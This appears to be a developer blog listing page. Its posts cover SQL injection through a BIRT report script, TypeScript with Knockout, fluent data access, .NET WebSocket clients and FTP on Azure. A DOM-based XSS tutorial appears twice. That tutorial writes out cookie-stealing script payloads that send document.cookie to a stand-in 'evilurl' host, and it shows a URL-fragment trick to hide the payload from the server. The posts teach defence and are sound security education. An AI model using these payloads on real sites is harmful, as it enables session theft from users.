terug naar het overzicht

SQL injection in a parameterized world: because we love our dynamic queries

door Dirk 22-5-2013

So, SQL injection.

It has been around for quite a while now
It has worked its way to being one of the biggest baddies on OWASP's top 10 before
It is working its way to claiming that spot once again in 2013
And, despite all of the world's efforts to get rid of it with nice solutions like prepared statements,
it justwon't…  disappear

And, to be quite honest, I don't think SQL injection will ever completely disappear, as long as (My/MS/T/PLG) SQL itself only allows parameterization of certain subsets of its statements (WHERE clauses, VALUES clauses, etc.).
The reason for this is simple: developers desperately want, crave, even need dynamic SQL statements – statements whose structure and / or referenced tables/columns can change depending on the current state of the application.

Why? So they can make fancy, user friendly applications that allow the user to choose the way their data is or isn’t filtered.
Because users have come to expect being able to customize every part of everything they interact with.

(Because users are spoiled)

 

Not too long ago, I was testing an application for a client, and everywhere in the code they were using prepared statements. It was beautiful! Every little bit of database interaction was parameterized.
However, that was mainly because their code was only concerned with security checks and requests with fixed inputs.

The part of the application where the user interaction became more flexible, was the reporting section. This was all done using the open source Business Intelligence Reporting Tool, lovingly called BIRT, or more specifically the BIRT Viewer.

Now, the BIRT Viewer itself (aside from containing a juicy little bug that is still waiting to be reported) only uses prepared statements.
To create a report in BIRT as a developer, you must define all the things that need to be in the report, define the different variables that will be used in generating the report, and give the parameterized SQL statement that BIRT needs to use to get its information from the database.
All of these definitions are stored in a nice XML structure file on the server and used whenever a user wants to generate a report based on that report-definition.

Sounds great so far, right? Yes it does. And if that's is where it stopped, things would be fine. Things would be great. Things would probably even be secure.
But things would most certainly not offer the dynamism that users always scream for and things would be abandoned. (Just for fun, try googling '"dynamic query" BIRT. Nearly 7000 hits!). So BIRT had to find a way to make their reports and the corresponding queries dynamic / customizable, and so they did…

image

Can you see where this going?

Yep, BIRT included support for scripting languages (i.e. javascript) in its report files, allowing developers to customize the content of report definition files, including any and all SQL statements it defines, at runtime, perhaps even based on user input.

So now the people who create the report definitions suddenly have to think about nasty things like input validation and sanitation. And perhaps they have never heard  of these things, because they are designers instead of programmers. Or maybe they are programmers, but because they are working on report definitions, they don't feel like they're 'coding' and forget to apply their best practices.
Or maybe they have actually tried to apply the best practices, but find themselves unable to apply them as they are now working within the confines of javascript, which doesn’t know anything about SQL and so does not provide any support for prepared statements or magic functions like super_sql_ultimate_escape_string(),  that might help with encoding.

So they either end up reinventing the wheel of input sanitation (probably thinking that a square should be good enough); copying it from some blog post that somebody on birt-exchange found on google (which for some reason is shaped like a triangle); or they just forget about wheels all together and decide to wing it.

And sure enough, when going through the report definitions there were the familiar string substitution techniques that told me that, yes, even in a development environment where prepared statements are the norm, SQL injection is going to find a way.

 

The offending (anonymized) snippet from one of the report definitions:

<method name="beforeOpen"><![CDATA[
if (params["optional_filter"] ) { 
    this.queryText = this.queryText.replace("/*PLACEHOLDER_FILTER*/", " AND (optional_filter= '" + params["optional_filter"] +"')");
};

}]]>
</method>
<xml-property name="queryText"><![CDATA[
SELECT some_column, some_other_column FROM data_table WHERE (main_argument = ?) /*PLACEHOLDER_FILTER*/
</xml-property>

And that’s it, game over.

Because it doesn’t matter how well you have parameterized the majority of your queries; if there is still even one query that remains injectable, you’re gonna have a bad time.

http://www.failblog.ro/wp-content/uploads/2010/03/minesweeper-fail.jpg

 

Happy Hacking!

Tags:

Development | Security | Informatie beveiliging

Getting started with TypeScript and KnockoutJS

door Sander 17-10-2012

So there is this new thing called TypeScript. Which is a pretty cool superset of plain old javascript that adds type support and with that a whole bunch more cool stuff like classes, interfaces and modules.

I like to use KnockoutJS for my pages, because.. well, it makes working with data-driven pages super easy! I also want to take advantage of all the cool stuff that TypeScript brings.

This example is by no means a finished and polished one, but it will get you started with Knockout and TypeScript. Lets take a look at the very basic test ViewModel (in TypeScript of course).

module VM {
 
    declare var ko: any;
 
    export class Test {
        constructor (targetElement: HTMLElement) { 
            ko.applyBindings(this, targetElement);
        }
 
        public Name: any = ko.observable();
 
        public NewName: any = ko.observable();
 
        public ChangeName() {
            this.Name(this.NewName());
        }
    }
}

I’ll point out one of the flaws that still need fixing in this example and that is the ANY keyword for knockout and its observables. By saying that something is of type any you lose all the type resolution that TypeScript gives us. If we look past that for now we have a fully functional Knockout viewmodel. Here is the HTML that goes with it:

<script type="text/javascript" src="~/Scripts/TypeScript/VM.js"></script>
 
<script type="text/javascript">
    var testVm = new VM.Test(document.getElementById('testVmView'));
</script>
 
<div id="testVmView">
    <div>
    <p data-bind="text: Name"></p>
    </div>
    <div>
        <input type="text" data-bind="value: NewName" /><button data-bind="click: ChangeName">Change</button>
    </div>
</div>

One way to fix the any typing of the observables is we provide our own wrapper around knockout observable and let the wrapper provide type safe observables.

When I think of something that will take care of this in a nice way I’ll put it up here Smile

Tags:

Development

Fluent data-access

door Sander 28-9-2012

Working in a team of developers, the following might happen:

Developer 1 creates a piece of UI and adds a method to load data into said UI. The method he creates is called GetUserInfo(…)

Here comes Developer 2 and he also creates a piece of UI that displays user info. Developer 2 however, needs to display more than just the user info, he also needs the requests made by the user. Thus GetUserInfoWithRequests(…) is created next to the already existing GetUserInfo method.

Developer 3 wants to display some user info as well, but not just the info by itself, and also without the requests but WITH the users team information. Can you guess what happens? … Right. GetUserInfoWithTeamMembers(…) is added to our list.

So we now have three methods that do something similar, but not quite the same:

  • GetUserInfo(…)
  • GetUserInfoWithRequests(…)
  • GetUserInfoWithTeamMembers(…)

If you let this run uncontrolled it will turn in to a maintenance nightmare! We could simply end the discussion and say it’s a lack of discipline within the team, but there is a nice way to help prevent this through code!

What is needed is a query-building object that will handle the loading of all this data for us. Without resorting to separate methods that all touch the database.

This query-building object has at least one method: Fetch(). The fetch method is the only method that will touch the database. The constructor of our object will take in the key on which to filter. In our example, this would probably be the primary key for the user in our database. Lets call it a UserInfoRetriever to match the example.

 

    public class UserInfoRetriever
    {
        readonly int _userId;
 
        public UserInfoRetriever(int userId)
        {
            _userId = userId;
        }
 
        public User Fetch()
        {
            using (var context = new DbContext())
            {
                return context.Users.Where(u => u.UserId == _userId).SingleOrDefault();
            }
        }
    }

 

The code above is what this might look like for the first method in our set of three. But we have more! Lets expand the class a bit further to support the other scenarios.

    public class UserInfoRetriever
    {
        readonly int _userId;
 
        bool _withRequests;
        bool _withTeamMembers;
 
        public UserInfoRetriever(int userId)
        {
            _userId = userId;
        }
 
        public UserInfoRetriever WithRequests()
        {
            _withRequests = true;
            return this;
        }
 
        public UserInfoRetriever WithTeamMembers()
        {
            _withTeamMembers = true;
            return this;
        }
 
        public User Fetch()
        {
            using (var context = new DbContext())
            {
                var users = context.Users;
 
                if (_withRequests)
                {
                    users.Include("Requests");
                }
 
                if (_withTeamMembers)
                {
                    users.Include("TeamMembers");
                }
 
                return context.Users.Where(u => u.UserId == _userId).SingleOrDefault();
            }
        }
    }

This version of the class implements two extra methods. They only change the bools on our class and then returns itself. This is where the cool stuff is at. Because we return to ourselves in the methods, we can chain them together to form queries as we see fit like this:

var userInfo = new UserInfoRetriever(10).Fetch();
 
var userInfo = new UserInfoRetriever(10).WithTeamMembers().WithRequests().Fetch();
 
var userInfo = new UserInfoRetriever(10).WithRequests().Fetch();
 
var userInfo = new UserInfoRetriever(10).WithTeamMembers().Fetch();

As you can see, we can load the data any way we like and our data-access code is still all in one place (in the Fetch() method). Adding new scenarios is very easy and it prevents (with a little discipline of course :-)) willy-nilly methods that all handle their own data-access.

Tags:

Development

.NET 4.5 WebSocket client without a browser

door Ronald 27-7-2012

As you may have noticed, Microsoft added WebSocket support to Internet Explorer 10 and to IIS8, both available on Windows Server 2012 and Windows 8. The usual WebSocket demo’s all assume a browser as the client but that’s not absolutely necessary: the protocol doesn’t exclude non-browser clients.

 

To support non-browser clients, .NET Framework 4.5 includes a new namespace and classes to support writing WebSocket clients: System.Net.WebSockets. I’ll demonstrate how to use these new classes by implementing a simple WebSocket chat server hosted in IIS8 that broadcasts every message it receives to all clients. The client will be a console application that uses classes from the new namespace. Because I was curious about what actually gets sent across the wire, I used Fiddler to intercept the communication between client and server.

 

Server

First of all: the server. I used an ASP.NET MVC4 ApiController for accepting WebSocket requests:

using System.Net;
using System.Net.Http;
using System.Web;
using System.Web.Http;
using Microsoft.Web.WebSockets;
 
namespace WebSockets.Controllers
{
  public class WebSocketsController : ApiController
  {
    public HttpResponseMessage Get(string name)
    {
      HttpContext.Current.AcceptWebSocketRequest(
            new ChatSocketHandler(name));
      return new HttpResponseMessage(
            HttpStatusCode.SwitchingProtocols);
    }
 
    private class ChatSocketHandler : WebSocketHandler
    {
      private static readonly WebSocketCollection Sockets =
            new WebSocketCollection();
 
      private readonly string _name;
 
      public ChatSocketHandler(string name)
      {
        _name = name;
      }
 
      public override void OnOpen()
      {
        Sockets.Add(this);
        Sockets.Broadcast(
              string.Format("{0} joined.", _name));
        Send(string.Format("Welcome {0}.", _name));
      }
 
      public override void OnMessage(string message)
      {
        Sockets.Broadcast(
              string.Format("{0} says: {1}", _name, message));
      }
 
      public override void OnClose()
      {
        Sockets.Remove(this);
        Sockets.Broadcast(
              string.Format("{0} left.", _name));
      }
    }
  }
}

The HttpContext class defines two overloads of AcceptWebSocketRequest that accept a Func<AspNetWebSocketContext, Task>. To make things easier, the Microsoft.WebSockets NuGet package provides an extension method, also conveniently named AcceptWebSocketRequest and a base class WebSocketHandler that wrap the creation of the Func<AspNetWebSocketContext, Task> and provide some methods to override like OnOpen and OnMessage.

 

To enable WebSocket support on IIS8 on Windows Server 2012 you have to configure the IIS role and some associated features. The configuration I use can be seen in the two screenshots below.

 

Roles Features

 

Client

The client is a simple console application that gives a user the opportunity to send messages to the server and simply shows all messages it receives. This code is a little longer so I’ll split it up. I’ll attach a zip file containing the entire VS2012 project. First of all: connecting to the WebSocket server:

var cts = new CancellationTokenSource();
var socket = new ClientWebSocket();
string wsUri = string.Format(
  "ws://rwwildenvs2012/WebSockets/api/websockets?name={0}", name);
await socket.ConnectAsync(new Uri(wsUri), cts.Token);

This code creates a new ClientWebSocket instance and uses the ConnectAsync method to connect to the specifief URI. The ClientWebSocket does not expose any synchronous methods except Dispose and Abort. The URI has several components, described in the RFC. The name part of the query string is passed as the name parameter to the Get method of the WebSocketsController.

 

Next part is a receive loop where we receive messages from the server:

Task.Factory.StartNew(
  async () =>
  {
    var rcvBytes = new byte[128];
    var rcvBuffer = new ArraySegment<byte>(rcvBytes);
    while (true)
    {
      WebSocketReceiveResult rcvResult =
          await socket.ReceiveAsync(rcvBuffer, cts.Token);
      byte[] msgBytes = rcvBuffer
          .Skip(rcvBuffer.Offset)
          .Take(rcvResult.Count).ToArray();
      string rcvMsg = Encoding.UTF8.GetString(msgBytes);
      Console.WriteLine("Received: {0}", rcvMsg);
    }
  }, cts.Token, TaskCreationOptions.LongRunning,
     TaskScheduler.Default);

The core of this loop is the ReceiveAsync method that fills a byte buffer and gets the message from this buffer. In the real world this receive loop would be more complex. The data framing part of RFC 6455 allows for messages to be sent in multiple parts (WebSocketReceiveResult.EndOfMessage) and a message can be a closing message instead of a data message (WebSocketReceiveResult.CloseStatus).

 

Finally we’d like to send messages ourself so we build another loop that allows the user to enter messages to send:

while (true)
{
  var message = Console.ReadLine();
  if (message == "Bye")
  {
    cts.Cancel();
    return;
  }
  byte[] sendBytes = Encoding.UTF8.GetBytes(message);
  var sendBuffer = new ArraySegment<byte>(sendBytes);
  await socket.SendAsync(
      sendBuffer,
      WebSocketMessageType.Text,
      endOfMessage: true,
      cancellationToken: cts.Token);
}

The core part here is the SendAsync method. It accepts the message to send, the message type (text, binary or close), whether this is the closing part of a message that was sent in multiple parts and a cancellation token. Since we only sent single-part messages in this example, the message we send is always the end of the message.

 

Result

Now, what would all of the above look like when run? Below you see a ‘conversation’ between three clients: Ronald, John and Adam.

 

Ronald

Ronald is the first to enter the conversation and the first to leave.

 

John

John enters as the second participant.

 

Adam

Adam is the third participant and the last one to leave.

 

On the wire

Every WebSocket conversation starts with a HTTP handshake that is defined in RFC 6455. When the handshake is complete, client and server have established a TCP connection that each one can use to send messages on. In Fiddler, the handshake looks like this:

 

handshake

 

Some interesting things to note in the request:

  • The Sec-Websocket-Key HTTP header field. This is a new HTTP header field for the WebSocket protocol and its value is a base64-encoded random 16 byte nonce.
  • The Sec-Websocket-Version HTTP header field that is (for now) required to have the value 13.
  • The Upgrade HTTP header field. This is the field that informs the server that a client wishes to establish a WebSocket connection.

And in the response:

  • The 101 Switching Protocols response that is required by the protocol. If a 101 is not sent, it means that the handshake has not yet completed and that HTTP semantics still apply. For example, the server may sent a 3xx redirect response.
  • The Sec-WebSocket-Accept HTTP header field. This is the server’s response to the client’s Sec-Websocket-Key header. It is constructed by taking the client key, appending the string "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" to it, taking the SHA-1 hash of the result and base64-encoding the hash. The client must validate that it has the correct value (see section 4.2.2 of the spec, bullet 5.4).

 

Once the handshake is completed, client and server have a bidirectional communication channel that is used for data and control messages. Below is a small Fiddler trace of the previous conversation, starting from the moment John joined.

   1: 19:28:31:3477 [WebSocket #170] Server->Client (14 bytes)
   2: TYPE: TEXT.
   3: MESSAGE: John joined.
   4: FLAGS: 10000001 DATA: 12 bytes.
   5: ------------------------------
   6: 19:28:31:3497 Upgrading Session #183 to websocket 
   7: 19:28:31:3677 [WebSocket #183] Server->Client (29 bytes)
   8: TYPE: TEXT.
   9: MESSAGE: John joined.
  10: Welcome John.
  11: FLAGS: 10000001 DATA: 12 bytes.
  12: ------------------------------
  13: 19:28:40:4195 Upgrading Session #185 to websocket 
  14: 19:28:40:4215 [WebSocket #183] Server->Client (14 bytes)
  15: TYPE: TEXT.
  16: MESSAGE: Adam joined.
  17: FLAGS: 10000001 DATA: 12 bytes.
  18: ------------------------------
  19: 19:28:40:4245 [WebSocket #170] Server->Client (14 bytes)
  20: TYPE: TEXT.
  21: MESSAGE: Adam joined.
  22: FLAGS: 10000001 DATA: 12 bytes.
  23: ------------------------------
  24: 19:28:40:4275 [WebSocket #185] Server->Client (29 bytes)
  25: TYPE: TEXT.
  26: MESSAGE: Adam joined.
  27: Welcome Adam.
  28: FLAGS: 10000001 DATA: 12 bytes.
  29: ------------------------------
  30: 19:28:46:5764 [WebSocket #181] Client->Server (6 bytes)
  31: TYPE: PONG.
  32: MESSAGE: 
  33: FLAGS: 10001010 DATA: 0 bytes, masked using KEY: 16-39-8F-63.
  34: ------------------------------

On lines 1 and 7, the server sends a message to its then known clients: Ronald and John. When Adam joins on line 13, three messages are sent (lines 14, 19 and 24). On line 31 you see a control message: PONG that is sent as a keep-alive mechanism. I haven’t seen any PING messages in the wild yet.

 

Conclusion

Web sockets are a really nice extension for web development but you aren’t limited to a browser client as the only way to communicate to a server that supports the WebSocket protocol. In .NET 4.5 you have a nice set of client classes that enable any application to talk to a WebSocket server so if you need this kind of functionality, you now know where to look.

The current client classes do not (yet) support the entire protocol. The protocol defines extensions that a client can request from a server via the Sec-WebSocket-Extensions HTTP header field. There is no support for that in the current implementation.

And there is still something I’d like to test with web sockets on IIS8: how many clients are supported? Every client requires some server resources so how does the server handle this. Maybe something to investigate for a next blog post.

For the attached solution to work, you have to run the NuGet package manager first because I didn't include all packages in the zip file.

WebSockets.zip (480,87 kb)

Tags: , , , ,

Development

Walkthrough: Hosting FTP on IIS 7.5 in a Windows Azure VM

door Ronald 20-7-2012

I have been struggling yesterday and today to get FTP working on IIS 7.5 in a Windows Azure Virtual Machine and I just got it working. To remember all the steps myself and to help others in achieving the same, I’ll describe how to accomplish this.

 

Spin up a virtual machine

First of all, you need a virtual machine. I needed a Windows machine with a SQL Server database so I chose 'Microsoft SQL Server 2012 Evaluation Edition' from the available templates.

 

image

 

Once the machine has booted, you can RDP into it via the connect option at the bottom of the management portal.

 

image

 

When you’re in, you need to configure IIS. A summary of the required steps:

  • Add the 'Web Server (IIS)' role to the server.
  • Add the IIS features you need.
  • Add a TCP endpoint to your VM in the management portal with public and private port 80.

 

To enable FTP, make sure you enable the ‘FTP Server’ role services for your IIS role:

 

image

 

 

Add and configure FTP site

The next step is to create the actual FTP site in IIS. Right-click on ‘Sites’ in IIS Manager and select ‘Add FTP Site…’:

 

AddFTPSite

 

Specify the name and the local path for the site:

 

02 SiteInformation

 

Specify binding and SSL information:

 

03 Bindings

 

And finally specify who should have access to the FTP site. Note that I selected Basic Authentication and the administrator user. This corresponds to the local administrator account on the VM (the same account you use when you use RDP to login). This is definitely not the best solution. When you do not use SSL to secure access to the FTP site, your FTP credentials are sent in cleartext when logging in to the FTP site.

 

04 Auth

 

Local testing

You should now be able to access the FTP site from within the VM. Open a command prompt, type ‘ftp 127.0.0.1’ and login with your administrator account.

 

05 LocalTest

 

Well, that was the easy part. You now have an FTP site that you can access locally. When you try to access it from another machine, you will notice that you can’t get a connection.

 

We are now getting into the nitty gritty details of the FTP protocol. Whereas you may think that FTP only uses port 21, it actually doesn’t. I’m not going into the details but there’s a good explanation here.

 

Configuring remote connectivity

First of all, for active FTP, in theory you need to allow access to ports 21 (FTP command port) and 20 (FTP data port). So you need to add two endpoints to your VM:

 

06 FTP Active Endpoints

 

So far the theory. When attempting to connect to the FTP site using Filezilla, explicitly indicating that we’d like to use active mode, still no connection can be established. I haven’t been able to figure out why exactly…

 

But of course we can still try to configure passive FTP. For this to work, we need to tell the IIS FTP server the port range it can use for data connections and we need to add endpoints to the VM that correspond to this port range.

 

First of all, configure the port range and external IP address for passive data connections. This can be found in IIS Manager:

 

07 Firewall Support

 

08 Firewall Support

 

The external IP address should be the Virtual IP address you can find in the Azure Management portal. Unfortunately, it seems impossible to specify the data channel port range here. To set this, we need the appcmd utility, which can be found in ‘%windir%\system32\inetsrv’.

 

appcmd set config /section:system.ftpServer/firewallSupport \
/lowDataChannelPort:7000 /highDataChannelPort:7014

 

In the example, I chose ports 7000 to 7014 but you can choose any port range you like as long as it corresponds to the endpoints you configure for your Azure VM.

 

For configuring 15 extra endpoints for my VM I decided to use the Windows Azure Powershell cmdlets which you can download here. You can also add 15 endpoints in the management portal but you can only add them one by one which takes a considerable amount of time. To be able to use these cmdlets, you first need the publish settings file for your Azure account. There are a number of ways to download the publish settings file and one way is to start Windows Azure Powershell and use the cmdlet ‘Get-AzurePublishSettingsFile’. It opens a browser and allows you to download the publish settings file that corresponds to your Windows Live id.

 

When you have downloaded the publish settings file, you can import it using the ‘Import-AzurePublishSettingsFile’ cmdlet and we’re ready to start adding endpoints. I simply created a text file containing the list of commands I wanted to run and copied that into the Powershell window:

 

Get-AzureVM -ServiceName 'myServiceName' -Name 'ftpportal' \
| Add-AzureEndpoint -Name 'FTPPassive00' -Protocol 'TCP' \
-LocalPort 7000 -PublicPort 7000 \
| Update-AzureVM
Get-AzureVM -ServiceName 'myServiceName' -Name 'ftpportal' \
| Add-AzureEndpoint -Name 'FTPPassive01' -Protocol 'TCP' \
-LocalPort 7001 -PublicPort 7001 \
| Update-AzureVM
...

 

We are now almost there. Although the Windows firewall seems to allow all traffic that is required, you also need to enable stateful FTP filtering on the firewall:

 

netsh advfirewall set global StatefulFtp enable

Finally, restart the FTP Windows service and we should be up and running:

 

net stop ftpsvc
net start ftpsvc

Testing with Filezilla confirms that we can now successfully connect to our new FTP site, hosted on a Windows Azure VM:

 

09 FileZillaTest

 

Adding extra user accounts

As I said before, using the default administrator account for accessing your FTP site is a BAD idea because credentials are sent in clear-text. Therefore, create a new local user account on the VM and add an FTP authorization rule to allow access to your FTP site.

 

References

I had some help writing this article, mainly from this article by Angelo Laris that describes how to add active and passive FTP functionality to an Azure Web or Worker Role.
Other references include:

Tags: , ,

Development

DOM based XSS or "But wait, didn't I escape you?"

door Dirk 27-6-2012

Cross Site Scripting (or XSS for short) has been a known nasty in the arsenal of web attackers for quite a while now.
The basic principle for XSS is simple: if user supplied input is somehow reflected inside a web page without proper precautions (filtering / encoding / etc.), then it may be possible for this input to mess with the structure of the HTML document, which may in turn mean that it can be used to add malicious tags or attributes (usually resulting in javascript execution).

To illustrate this with a simple example, consider the following simple dynamic HelloWorld.php script:

<html>
<body>
<p>Hello <?php echo($_GET['who']); ?>!</p>
</body>
</html>

If we run this script from the url "http://url/HelloWorld.php?who=world", then we are greeted with a page containing the line:

"<p>Hello world!</p>"

However, if we wanted to, we could use the url to do something more evil.
Suppose we were to let an innocent victim click on the following link:

http://url/HelloWorld.php?who=<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>

Then our victim would be presented with a piece of html containing the line:

<p>Hello <script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='+document.cookie;</script>!</p>

Which would redirect our victim to a en evil drive-by download page and give the attacker access to the victim's (confidential) cookie of the original site. We could even decide to be even more evil and construct an entire javascript application that turns the victim's browser into a botnet zombie.

Now, as I said, this kind of problem has been known, used, abused and defended against for quite some time. Traditionally, the way to deal with this situation was to use some sort of magic server side function that either stripped user input from any characters that could mess with the layout or re-encoded the dangerous characters in such a way that they become harmless in the context of html. In fact, the latter option is usually preferred over the former, as removal of characters invariably leads to loss of information, which in many situations can be considered a Bad Thing.

So, to return to our HelloWorld.php example, the traditional way of fixing it would be something along the lines of

[..]
<p>Hello <?php echo(htmlentities($_GET['who'])); ?>!</p>
[..]

where the function htmlentities() does our magic encoding.

Now this kind of approach was fine and dandy for a long time, when most if not all dynamic aspects of a page were determined server side. However, this is no longer the case. Although server side scripts still account for a fair amount of dynamism, client side scripting has slowly but steadily gaining popularity as the new source of Web Application Magic. This can be seen in the popularity and prevalence of javascript frameworks like jQuery, MooTools, Dojo, etc.

Of course, when a client side script starts messing with the contents / layout of a web page, it runs the risk of doing so in a way that leads to unintended results, such as the accidental addition of html tags or attributes that may once more lead to javascript execution.

For instance, we could implement the HelloWorld page using nothing html and javascript and once more do so in a dangerous way.

[...]
<p>Hello
<script>
var index = document.location.href.indexOf("?who=")+5;
var who =  decodeURIComponent(document.location.href.substring(index));
document.write(who)
</script>
!</p>
[...]

Once more, we can use this page to inject a redirection to our evil page:

http://url/HelloWorld.html?who=<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>

What is more, we can now use some trickery to avoid exposing our injection to the webserver. Suppose we were have our victim click the following link:

http://url/HelloWorld.html?who=world#<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>

Notice the hadded hashmark "#". In a URI, this symbol basically means that what follows is a piece of information that the browser can use to find a specific part in the webpage. As it is only relevant to the browser, browsers generally do not send the hashmark and anything after it to the webserver. So, if our victim were to click the link, the webserver would only see that somebody requested "http://url/HelloWorld.html?who=world", which it assumes is perfectly normal. The HTML, however, after evaluating the javascript would include a line

<p>Hello world#<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='+document.cookie;</script>!</p>

Which still redirects our victim to our evil page.

As these kinds of client side generated XSS attacks are the result of manipulating the DOM (http://en.wikipedia.org/wiki/Document_Object_Model), they are called DOM based XSS attacks.

The way to prevent these kinds of attacks is once more a matter of properly encoding your output when working on untrusted inputs. Magic functions that will do this encoding for you exist for javascript just like they do for other languages (albeit in frameworks and not as default functions).

An interesting question arises once a page uses both server side and client side scripting to construct a page. If user input has been encoded by the server side scripts, should the client side scripts still treat them as untrusted? Some people would instinctively say "yes", because you are still dealing with user supplied input and user supplied definition cannot be trusted. Other would instinctively say "no", because double encoding tends to lead to messy and unpredictable outputs. My answer is a resounding "it depends", and I will show you why.

Recently, I came across a web page that adopted the latter approach. The page used a post parameter to do some server side application magic and then reflected said parameter again as the value of a hidden input. The reflected parameter had all of its interesting character  properly encoded into their respective html entities so if I were to make a post with 'param=<script>alert("XSS")</script>', I would be presented with a piece of html like:

<input type="hidden" id="param" value="&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;"/>

So, I had no way of breaking out of the value attribute, let alone the input tag.
Curiously though, if I made the post using a browser and allowed all of the page's javascript to run, I was still presented with my XSS popup.


Going through the javascript, I found there was a little bit of jQuery that basically read

$('#someDiv').html('[some html]' + $('#param').val() + '[some other html]');

For those unfamiliar with jQuery, what this does is it takes the value attribute of our "param" input and puts it together with some other html as the InnerHTML of div "someDiv".
So, after this bit of javascript is evaluated, our HTML suddenly contains a line

<div id="someDiv">[some html]<script>alert("XSS")</script>[some other html]</div>

But wait! Wasn't our "param" encoded with HTML entities and stuff? Shouldn't that line have read

<div id="someDiv">[some html]&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;[some other html]</div>

and been safe to display?

Well, yes and no. Yes, the value of "param" was indeed properly encoded. However, this encoding is interpreted by the browser when it reads the value attribute and stores it into the string, so the string contains the value as it was interpreted, not necessarily as it was encoded: "<script>alert("XSS")</script>".
This kind of interpreting is done all the time by your browser, although not always as you would expect. How content of an attribute or a tag is interpreted and/or re-encoded depends on a combination of which accessor is used to retrieve the content and the tag/attribute that contains it. The id attribute is interpreted different from an anchor's href, for instance. And the way content of tags is interpreted changes depending on whether you use innerHTML or textContent.

I highly recommend playing around a bit with various combination of accessors, nestings and encodings.
To get you started I have included a little section that shows some of the ways in which the string "&lt<b>script>alert(1)<</b>/scr<br/>ipt&#62;" can be interpreted.



<script>alert(1)</scr
ipt>






As you can see, these three accessors produce three completely different outputs, each of which contains at least one set of valid html tags (and therefor a possible source of XSS).

Because the way that data is interpreted by the browser is so heavily influenced by its context, it is nigh impossible to create a magic catch-all server side function that will turn untrusted user input into safe-for-javascript-manipulation sanitized data. This means that in order to create a safe web application, the client-side javascript needs to treat any input that can be influenced by the user as untrusted, even when it's already encoded server side. This means that before reflecting data on a web-page, you have to 
1) determine the context in which the data is going to be reflected, so you can determine which character encodings appropriate and which are dangerous
2) determine the behaviour of the accessors you are using, so you know what kind of automatic character encoding conversions are applied when retrieving and/or reflecting the data
3) decode and/or re-encode the input in such a way that after the automatic conversions, the reflected output conforms to the appropriate encoding.

Of course, this can be abstracted by creating / using custom accessors that automatically apply decoding mechanisms for data retrieval and encoding mechanisms for data reflection, but that's an excercise I'll leave to the reader ;)

Happy hacking!

Tags:

Development | Hackers | Security

DOM based XSS or "But wait, didn't I escape you?"

door Dirk 27-6-2012

Cross Site Scripting (or XSS for short) has been a known nasty in the arsenal of web attackers for quite a while now.
The basic principle for XSS is simple: if user supplied input is somehow reflected inside a web page without proper precautions (filtering / encoding / etc.), then it may be possible for this input to mess with the structure of the HTML document, which may in turn mean that it can be used to add malicious tags or attributes (usually resulting in javascript execution).

To illustrate this with a simple example, consider the following simple dynamic HelloWorld.php script:

<html>
<body>
<p>Hello <?php echo($_GET['who']); ?>!</p>
</body>
</html>

If we run this script from the url "http://url/HelloWorld.php?who=world", then we are greeted with a page containing the line:
"<p>Hello world!</p>"

However, if we wanted to, we could use the url to do something more evil.
Suppose we were to let an innocent victim click on the following link:
"http://url/HelloWorld.php?who=<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>"
Then our victim would be presented with a piece of html containing the line:
"<p>Hello <script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='+document.cookie;</script>!</p>"
Which would redirect our victim to a en evil drive-by download page and give the attacker access to the victim's (confidential) cookie of the original site.

Now, as I said, this kind of problem has been known, used, abused and defended against for quite some time. Traditionally, the way to deal with this situation was to use some sort of magic function that either stripped user input from any characters that could mess with the layout or re-encoded the dangerous characters in such a way that they become harmless. In fact, the latter option is usually preferred over the former, as removal of characters invariably leads to loss of information, which in many situations can be considered a Bad Thing.

So, to return to our HelloWorld.php example, the traditional way of fixing it would be something along the lines of

[..]
<p>Hello <?php echo(htmlentities($_GET['who'])); ?>!</p>
[..]

where the function htmlentities() does our magic encoding.

Now this kind of approach was fine and dandy for a long time, when most if not all dynamic aspects of a page were determined server side. However, this is no longer the case. Although server side scripts still account for a fair amount of dynamism, client side scripting has slowly but steadily gaining popularity as the new source of Web Application Magic. This can be seen in the popularity and prevalence of javascript frameworks like jQuery, MooTools, Dojo, etc.

Of course, when a client side script starts messing with the contents / layout of a web page, it runs the risk of doing so in a way that leads to unintended results, such as the accidental addition of html tags or attributes that once more leads to javascript execution.

For instance, we could implement the HelloWorld page using nothing html and javascript and once more do so in a dangerous way.

[...]
<p>Hello
<script>
var index = document.location.href.indexOf("?who=")+5;
var who =  decodeURIComponent(document.location.href.substring(index));
document.write(who)
</script>
!</p>
[...]

Once more, we can use this page to inject a redirection to our evil page:
"http://url/HelloWorld.html?who=<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>"
What is more, we can now use some trickery to avoid exposing our injection to the webserver. Suppose we were have our victim click the following link:
"http://url/HelloWorld.html?who=world#<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='%2bdocument.cookie;</script>"
Notice the hadded hashmark "#". In a URI, this symbol basically means that what follows is a piece of information that the browser can use to find a specific part in the webpage. As it is only relevant to the browser, browsers generally do not send the hashmark and anything after it to the webserver. So, if our victim were to click the link, the webserver would only see that somebody requested "http://url/HelloWorld.html?who=world", which it assumes is perfectly normal. The HTML, however, after evaluating the javascript would include a line
""<p>Hello world#<script>document.location='http://evilurl/EvilDriveByDownloadAndCookieStealer.php?cookie='+document.cookie;</script>!</p>""
Which still redirects our victim to our evil page.
As these kinds of client side generated XSS attacks are the result of manipulating the DOM (http://en.wikipedia.org/wiki/Document_Object_Model), they are called DOM based XSS attacks.

The way to prevent these kinds of attacks is once more a matter of properly encoding your output when working on untrusted inputs. Magic functions that will do this encoding for you exist for javascript just like they do for other languages (albeit in frameworks and not as default functions).

